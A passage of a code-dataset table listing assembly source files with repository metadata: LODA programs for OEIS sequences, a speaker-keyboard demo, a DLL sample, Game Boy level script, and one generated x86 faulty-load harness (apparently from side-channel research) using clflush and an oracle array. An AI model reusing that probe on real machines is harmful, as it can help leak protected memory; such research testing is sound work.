hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c58b3d9bde0aeb3c97dfc55a032299689001173f
| 325
|
asm
|
Assembly
|
programs/oeis/133/A133252.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/133/A133252.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/133/A133252.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A133252: Partial sums of A006000.
; 1,5,17,45,100,196,350,582,915,1375,1991,2795,3822,5110,6700,8636,10965,13737,17005,20825,25256,30360,36202,42850,50375,58851,68355,78967,90770,103850,118296,134200,151657,170765,191625,214341,239020,265772
add $0,1
lpb $0,1
add $3,$2
add $2,$0
sub $0,1
add $3,1
add $1,$3
lpe
| 27.083333
| 207
| 0.716923
|
0830aeaceee147ea82b35615975e17530ac00b48
| 1,790
|
asm
|
Assembly
|
programs/keyboard.asm
|
sirupsen/flying-cat
|
d6e1640c63cc4c67ba18d4008556589dccbef233
|
[
"BSD-3-Clause"
] | 7
|
2017-08-16T10:39:19.000Z
|
2022-02-06T10:38:17.000Z
|
programs/keyboard.asm
|
Sirupsen/flying-cat
|
d6e1640c63cc4c67ba18d4008556589dccbef233
|
[
"BSD-3-Clause"
] | 1
|
2018-11-20T04:08:58.000Z
|
2018-11-20T04:08:58.000Z
|
programs/keyboard.asm
|
jakiki6/flying-cat
|
d6e1640c63cc4c67ba18d4008556589dccbef233
|
[
"BSD-3-Clause"
] | 5
|
2020-04-19T19:42:05.000Z
|
2021-06-16T08:32:22.000Z
|
; -----------------------------------------------------------------
; Music keyboard
; Based on keyboard.asm from MikeOS
; Use Z key rightwards for an octave
; -----------------------------------------------------------------
[BITS 64]
[ORG 0x0000000000200000]
%INCLUDE "bmdev.asm"
music_keyboard:
mov rsi, startstring
call b_print_string
call b_print_newline
.retry:
call b_input_key_wait
; And start matching keys with notes
cmp al, 'z'
jne .x
mov al, 'C'
call b_print_char ; Print note
mov ax, 4000
jmp .playnote
.x:
cmp al, 'x'
jne .c
mov al, 'D'
call b_print_char ; Print note
mov ax, 3600
jmp .playnote
.c:
cmp al, 'c'
jne .v
mov al, 'E'
call b_print_char ; Print note
mov ax, 3200
jmp .playnote
.v:
cmp al, 'v'
jne .b
mov al, 'F'
call b_print_char ; Print note
mov ax, 3000
jmp .playnote
.b:
cmp al, 'b'
jne .n
mov al, 'G'
call b_print_char ; Print note
mov ax, 2700
jmp .playnote
.n:
cmp al, 'n'
jne .m
mov al, 'A'
call b_print_char ; Print note
mov ax, 2400
jmp .playnote
.m:
cmp al, 'm'
jne .comma
mov al, 'B'
call b_print_char
mov ax, 2100
jmp .playnote
.comma:
cmp al, ','
jne .space
mov al, 'C'
call b_print_char
mov ax, 2000
jmp .playnote
.space:
cmp al, ' '
jne .q
call b_speaker_off
jmp .retry
.playnote:
call b_speaker_tone
jmp .retry
.q:
cmp al, 'q'
je .end
cmp al, 'Q'
je .end
jmp .retry ; Didn't get any key we were expecting so try again.
.end:
call b_speaker_off
call b_print_newline
ret ; Back to OS
; -----------------------------------------------------------------
startstring: db 'Musical keyboard. Use "Z"-"," to play notes. Space to stop the note. Q to quit.', 0
| 16.126126
| 100
| 0.549162
|
e6a30730c46f3470a653edee5db8e912d4827146
| 319
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/alloc/balloc/c/sdcc_iy/balloc_firstfit_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/alloc/balloc/c/sdcc_iy/balloc_firstfit_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/alloc/balloc/c/sdcc_iy/balloc_firstfit_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; void *balloc_firstfit_callee(unsigned int queue, unsigned char num)
SECTION code_alloc_balloc
PUBLIC _balloc_firstfit_callee, l0_balloc_firstfit_callee
_balloc_firstfit_callee:
pop af
pop hl
pop bc
push af
l0_balloc_firstfit_callee:
ld a,c
INCLUDE "alloc/balloc/z80/asm_balloc_firstfit.asm"
| 15.95
| 69
| 0.786834
|
f414f8e5baa343a3d6efeed28acbcd1daded47d4
| 545
|
asm
|
Assembly
|
programs/oeis/178/A178129.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/178/A178129.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/178/A178129.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A178129: Partial sums of A050508.
; 0,2,8,23,47,87,147,224,328,463,623,821,1049,1322,1644,2004,2420,2896,3418,4007,4647,5361,6153,7004,7940,8940,10032,11220,12480,13843,15313,16863,18527,20276,22146,24141,26229,28449,30767,33224,35824,38530
mov $4,$0
mov $8,$0
lpb $4
mov $0,$8
mov $2,0
sub $4,1
sub $0,$4
add $2,$0
mov $6,$0
seq $0,101803 ; Nearest integer to n*(phi-1), where phi is golden ratio 1.618033988749895... (A001622).
mov $3,$0
mul $3,$2
mov $5,$3
mov $7,$6
mul $7,$6
add $5,$7
add $1,$5
lpe
mov $0,$1
| 23.695652
| 206
| 0.645872
|
621499008e309466d9bf547058249ef367706152
| 1,022
|
asm
|
Assembly
|
ALINK/tdll.asm
|
DarkRiDDeR/mandelbrotin-fractal-generation-NASM
|
69f4e4cb98ad8bae983b3e76e7c38c5a7861acb6
|
[
"MIT"
] | 3
|
2016-07-19T06:49:01.000Z
|
2018-04-25T06:46:25.000Z
|
ALINK/tdll.asm
|
DarkRiDDeR/mandelbrotin-fractal-generation-NASM
|
69f4e4cb98ad8bae983b3e76e7c38c5a7861acb6
|
[
"MIT"
] | null | null | null |
ALINK/tdll.asm
|
DarkRiDDeR/mandelbrotin-fractal-generation-NASM
|
69f4e4cb98ad8bae983b3e76e7c38c5a7861acb6
|
[
"MIT"
] | null | null | null |
; tdll.asm
;
; assemble with
; nasm -fobj tdll.asm
;
; link with
; alink -oPE -dll tdll win32.lib
; (win32.lib is available from my web page)
global start
global title1
export start
export title1
;these names are defined in win32.lib as the names of
;a stub proc, and the IAT entry name for MessageBoxA
extern MessageBoxA
extern __imp_MessageBoxA
segment code public use32 class=CODE
;DLL entry point - do nothing, but flag success
;This is a STDCALL entrypoint, so remove 3 params from stack on return
..start:
dllstart:
mov eax,1
ret 12
;exported procedure
start:
push dword 0 ; OK button
push dword title1
push dword string1
push dword 0
call MessageBoxA ;call stub routine in win32.lib
push dword 0 ; OK button
push dword title1
push dword string2
push dword 0
call [__imp_MessageBoxA] ;call routine via IAT
ret
segment data public use32 class=DATA
string1: db 'hello world, through redirection',13,10,0
;exported data
title1: db 'Hello',0
string2: db 'hello world, called through import table',13,10,0
| 19.653846
| 70
| 0.765166
|
624d30f4724d75f2d21c98003f1b0c243560b728
| 554
|
asm
|
Assembly
|
oeis/064/A064368.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/064/A064368.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/064/A064368.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A064368: Number of 2 X 2 symmetric singular matrices with entries from {0,...,n}.
; Submitted by Jamie Morken(m3)
; 1,4,7,10,15,18,21,24,29,36,39,42,47,50,53,56,65,68,75,78,83,86,89,92,97,108,111,118,123,126,129,132,141,144,147,150,163,166,169,172,177,180,183,186,191,198,201,204,213,228,239,242,247,250,257,260,265,268
mov $2,$0
mov $3,$0
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
mov $1,$0
sub $0,1
seq $0,19554 ; Smallest number whose square is divisible by n.
div $1,$0
mov $0,$1
mul $0,2
add $0,1
add $4,$0
lpe
mov $0,$4
add $0,1
| 25.181818
| 205
| 0.640794
|
8e270218e6aa6842875afb43b552b0f6d625bc1d
| 1,258
|
asm
|
Assembly
|
programs/oeis/004/A004695.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/004/A004695.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/004/A004695.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A004695: a(n) = floor(Fibonacci(n)/2).
; 0,0,0,1,1,2,4,6,10,17,27,44,72,116,188,305,493,798,1292,2090,3382,5473,8855,14328,23184,37512,60696,98209,158905,257114,416020,673134,1089154,1762289,2851443,4613732,7465176,12078908,19544084,31622993,51167077,82790070,133957148,216747218,350704366,567451585,918155951,1485607536,2403763488,3889371024,6293134512,10182505537,16475640049,26658145586,43133785636,69791931222,112925716858,182717648081,295643364939,478361013020,774004377960,1252365390980,2026369768940,3278735159921,5305104928861,8583840088782,13888945017644,22472785106426,36361730124070,58834515230497,95196245354567,154030760585064,249227005939632,403257766524696,652484772464328,1055742538989025,1708227311453353,2763969850442378,4472197161895732,7236167012338110,11708364174233842,18944531186571953,30652895360805795,49597426547377748,80250321908183544,129847748455561292,210098070363744836,339945818819306129,550043889183050965,889989708002357094,1440033597185408060,2330023305187765154,3770056902373173214,6100080207560938369,9870137109934111583,15970217317495049952,25840354427429161536,41810571744924211488,67650926172353373024,109461497917277584513
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
div $0,2
| 209.666667
| 1,124
| 0.871224
|
d05b4eb8e4df24d9f62fc3ff57a2a32d17a5b29b
| 142
|
asm
|
Assembly
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/util/mouse.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/util/mouse.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/util/mouse.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: mouse.asm
Type: file
Size: 6884
Last-Modified: '1993-07-20T00:24:11Z'
SHA-1: 8001BF2DD95C5ED0A4A410F9DAEF1000722F0416
Description: null
| 20.285714
| 47
| 0.809859
|
c91c8587119e51a3d751dff58a51d3151622ae39
| 368
|
asm
|
Assembly
|
oeis/127/A127806.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/127/A127806.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/127/A127806.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A127806: Row sums of number triangle A127805.
; Submitted by Jamie Morken(s4)
; 1,11,100,1011,10000,100100,1000000,10001011,100000000,1000010000,10000000000,100000100100,1000000000000,10000001000000,100000000000000,1000000010001011,10000000000000000,100000000100000000
mul $0,2
add $0,2
lpb $0
dif $0,2
mov $1,10
pow $1,$0
add $2,$1
lpe
mov $0,$2
div $0,10
| 24.533333
| 190
| 0.763587
|
c999b955174c9ad96da0d3961fc9db2d10e54980
| 285
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_iy/sp1_InsertCharStruct_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_iy/sp1_InsertCharStruct_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_iy/sp1_InsertCharStruct_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void sp1_InsertCharStruct(struct sp1_update *u, struct sp1_cs *cs)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_InsertCharStruct_callee
EXTERN asm_sp1_InsertCharStruct
_sp1_InsertCharStruct_callee:
pop af
pop de
pop hl
push af
jp asm_sp1_InsertCharStruct
| 15.833333
| 68
| 0.807018
|
bba0eb811d56a33dfde06b1a0415adf46e8638f9
| 512
|
asm
|
Assembly
|
programs/oeis/179/A179894.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/179/A179894.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/179/A179894.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A179894: Given the series (1, 2, 1, 2, 1, 2, ...), let (1 + 2x + x^2 + 2x^3 + ...) * (1 + 2x^2 + x^3 + 2x^4 + ...) = (1 + 2x + 3x^2 + 7x^3 + ...)
; 1,2,3,7,7,12,11,17,15,22,19,27,23,32,27,37,31,42,35,47,39,52,43,57,47,62,51,67,55,72,59,77,63,82,67,87,71,92,75,97,79,102,83,107,87,112,91,117,95,122,99,127,103,132,107,137,111,142,115,147,119,152,123,157,127,162
mov $2,$0
trn $2,1
add $0,$2
mov $3,1
lpb $3
add $1,$0
add $0,1
lpb $0
add $1,1
mov $3,$0
trn $0,4
lpe
trn $3,3
lpe
add $1,$0
| 26.947368
| 214
| 0.53125
|
5b8ad4ff9d4f7a51add78657b7098480e46497fc
| 523
|
asm
|
Assembly
|
data/baseStats/seadra.asm
|
etdv-thevoid/pokemon-rgb-enhanced
|
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
|
[
"MIT"
] | 1
|
2022-01-09T05:28:52.000Z
|
2022-01-09T05:28:52.000Z
|
data/baseStats/seadra.asm
|
ETDV-TheVoid/pokemon-rgb-enhanced
|
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
|
[
"MIT"
] | null | null | null |
data/baseStats/seadra.asm
|
ETDV-TheVoid/pokemon-rgb-enhanced
|
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
|
[
"MIT"
] | null | null | null |
db SEADRA ; pokedex id
db 55 ; base hp
db 75 ; base attack
db 95 ; base defense
db 85 ; base speed
db 95 ; base special
db WATER ; species type 1
db WATER ; species type 2
db 75 ; catch rate
db 155 ; base exp yield
INCBIN "pic/gsmon/seadra.pic",0,1 ; 66, sprite dimensions
dw SeadraPicFront
dw SeadraPicBack
; attacks known at lvl 0
db BUBBLE
db 0
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 2,6
tmlearn 9,10,11,13,14,15
tmlearn 20,23
tmlearn 31,32
tmlearn 34,39
tmlearn 44
tmlearn 50,53
db BANK(SeadraPicFront)
| 18.034483
| 57
| 0.730402
|
2f23de1f5ffbaadbe2664c6d4cf85e707022d0ac
| 1,635
|
asm
|
Assembly
|
Source/Levels/L0315.asm
|
AbePralle/FGB
|
52f004b8d9d4091a2a242a012dc8c1f90d4c160d
|
[
"MIT"
] | null | null | null |
Source/Levels/L0315.asm
|
AbePralle/FGB
|
52f004b8d9d4091a2a242a012dc8c1f90d4c160d
|
[
"MIT"
] | null | null | null |
Source/Levels/L0315.asm
|
AbePralle/FGB
|
52f004b8d9d4091a2a242a012dc8c1f90d4c160d
|
[
"MIT"
] | null | null | null |
; L0315.asm
; Generated 07.30.2000 by mlevel
; Modified 07.30.2000 by Abe Pralle
INCLUDE "Source/Defs.inc"
INCLUDE "Source/Levels.inc"
;---------------------------------------------------------------------
SECTION "Level0315Section",ROMX
;---------------------------------------------------------------------
L0315_Contents::
DW L0315_Load
DW L0315_Init
DW L0315_Check
DW L0315_Map
;---------------------------------------------------------------------
; Load
;---------------------------------------------------------------------
L0315_Load:
DW ((L0315_LoadFinished - L0315_Load2)) ;size
L0315_Load2:
call ParseMap
ret
L0315_LoadFinished:
;---------------------------------------------------------------------
; Map
;---------------------------------------------------------------------
L0315_Map:
INCBIN "Data/Levels/L0315_intro_bs4.lvl"
;---------------------------------------------------------------------
; Init
;---------------------------------------------------------------------
L0315_Init:
DW ((L0315_InitFinished - L0315_Init2)) ;size
L0315_Init2:
ret
L0315_InitFinished:
;---------------------------------------------------------------------
; Check
;---------------------------------------------------------------------
L0315_Check:
DW ((L0315_CheckFinished - L0315_Check2)) ;size
L0315_Check2:
ret
L0315_CheckFinished:
PRINT "0315 Script Sizes (Load/Init/Check) (of $500): "
PRINT (L0315_LoadFinished - L0315_Load2)
PRINT " / "
PRINT (L0315_InitFinished - L0315_Init2)
PRINT " / "
PRINT (L0315_CheckFinished - L0315_Check2)
PRINT "\n"
| 27.25
| 70
| 0.401223
|
2fe1d1b91c0cc5f4f4ab6936f3633926a41d88f9
| 4,684
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_un_/i7-7700_9_0x48_notsx.log_1_1932.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_un_/i7-7700_9_0x48_notsx.log_1_1932.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_un_/i7-7700_9_0x48_notsx.log_1_1932.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x16e25, %rdi
sub $51441, %r11
movups (%rdi), %xmm0
vpextrq $1, %xmm0, %r8
nop
dec %r11
lea addresses_D_ht+0x17925, %rdx
nop
nop
nop
nop
sub $56878, %r9
mov (%rdx), %r15
nop
nop
nop
and $62877, %r9
lea addresses_WC_ht+0x65c5, %r11
nop
nop
nop
nop
inc %rsi
movb (%r11), %r15b
nop
nop
nop
nop
xor $1832, %rdx
lea addresses_A_ht+0x2945, %rdi
nop
nop
nop
nop
nop
xor $33673, %r11
vmovups (%rdi), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
nop
nop
inc %r9
lea addresses_normal_ht+0x35e5, %rsi
nop
nop
nop
cmp %r11, %r11
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
add $49804, %r8
lea addresses_WT_ht+0xa525, %rsi
nop
nop
nop
nop
nop
sub $12809, %r9
mov $0x6162636465666768, %r8
movq %r8, (%rsi)
nop
nop
cmp %r15, %r15
lea addresses_A_ht+0x15235, %r9
clflush (%r9)
nop
sub $45440, %rsi
movl $0x61626364, (%r9)
nop
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x1dc65, %rsi
lea addresses_A_ht+0xfe09, %rdi
clflush (%rsi)
sub %rdx, %rdx
mov $40, %rcx
rep movsq
nop
nop
nop
nop
cmp $5938, %rcx
lea addresses_WC_ht+0x166f1, %rsi
lea addresses_A_ht+0x17236, %rdi
add $47103, %r11
mov $73, %rcx
rep movsb
nop
nop
nop
nop
cmp $30308, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_UC+0x15125, %rcx
nop
add %rbp, %rbp
mov $0x5152535455565758, %rdx
movq %rdx, (%rcx)
nop
cmp %rbp, %rbp
// Store
lea addresses_normal+0x18a5, %r15
nop
nop
add %r12, %r12
mov $0x5152535455565758, %rdx
movq %rdx, (%r15)
nop
cmp %rdi, %rdi
// Load
lea addresses_WC+0x11c65, %rbp
nop
dec %r9
mov (%rbp), %edi
nop
nop
nop
nop
sub %r9, %r9
// Load
lea addresses_US+0x18b25, %rbp
nop
nop
nop
nop
and %r12, %r12
vmovups (%rbp), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r15
nop
dec %r12
// Store
lea addresses_A+0x57ad, %rcx
nop
nop
nop
nop
cmp %rdi, %rdi
movb $0x51, (%rcx)
xor %rdx, %rdx
// Store
lea addresses_RW+0x1a781, %r12
clflush (%r12)
nop
nop
add %rcx, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, (%r12)
nop
nop
sub $43987, %r15
// Faulty Load
lea addresses_UC+0x11925, %r9
inc %rdi
mov (%r9), %rdx
lea oracles, %r9
and $0xff, %rdx
shlq $12, %rdx
mov (%r9,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_UC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 1}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'ff': 1}
ff
*/
| 19.847458
| 147
| 0.641546
|
5eb19a3bba31f9831db9d8d9176a182a54fd0992
| 950
|
asm
|
Assembly
|
testsuite/ubivm/output/method_4.asm
|
alexgarzao/UOP
|
12460841ff2b9991d2f7f461635b1f551413823f
|
[
"MIT"
] | null | null | null |
testsuite/ubivm/output/method_4.asm
|
alexgarzao/UOP
|
12460841ff2b9991d2f7f461635b1f551413823f
|
[
"MIT"
] | null | null | null |
testsuite/ubivm/output/method_4.asm
|
alexgarzao/UOP
|
12460841ff2b9991d2f7f461635b1f551413823f
|
[
"MIT"
] | null | null | null |
.constant_pool
.const 0 string [start]
.const 1 string [constructor]
.const 2 string [oi]
.const 3 string [oi de novo !!!]
.const 4 string [x]
.const 5 string [msg1]
.const 6 string [msg2]
.const 7 string [msg1=]
.const 8 int [2]
.const 9 string [io.writeln]
.const 10 string [msg2=]
.end
.entity start
.valid_context_when (always)
.method constructor
ldconst 2 --> [oi]
ldconst 3 --> [oi de novo !!!]
ldself
mcall 4 --> [x]
exit
.end
.method x
.param 0 string msg1
.param 1 string msg2
ldconst 7 --> [msg1=]
ldparam 0 --> [msg1]
ldconst 8 --> [2]
lcall 9 --> [io.writeln]
ldconst 10 --> [msg2=]
ldparam 1 --> [msg2]
ldconst 8 --> [2]
lcall 9 --> [io.writeln]
ret
.end
.end
| 25.675676
| 44
| 0.465263
|
171434aa69bd8d9c5815eaaea357f7dca5e96385
| 510
|
asm
|
Assembly
|
programs/oeis/105/A105562.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/105/A105562.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/105/A105562.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A105562: a(n) is the prime whose index is the greatest prime factor of n, for n >1; a(1)=2.
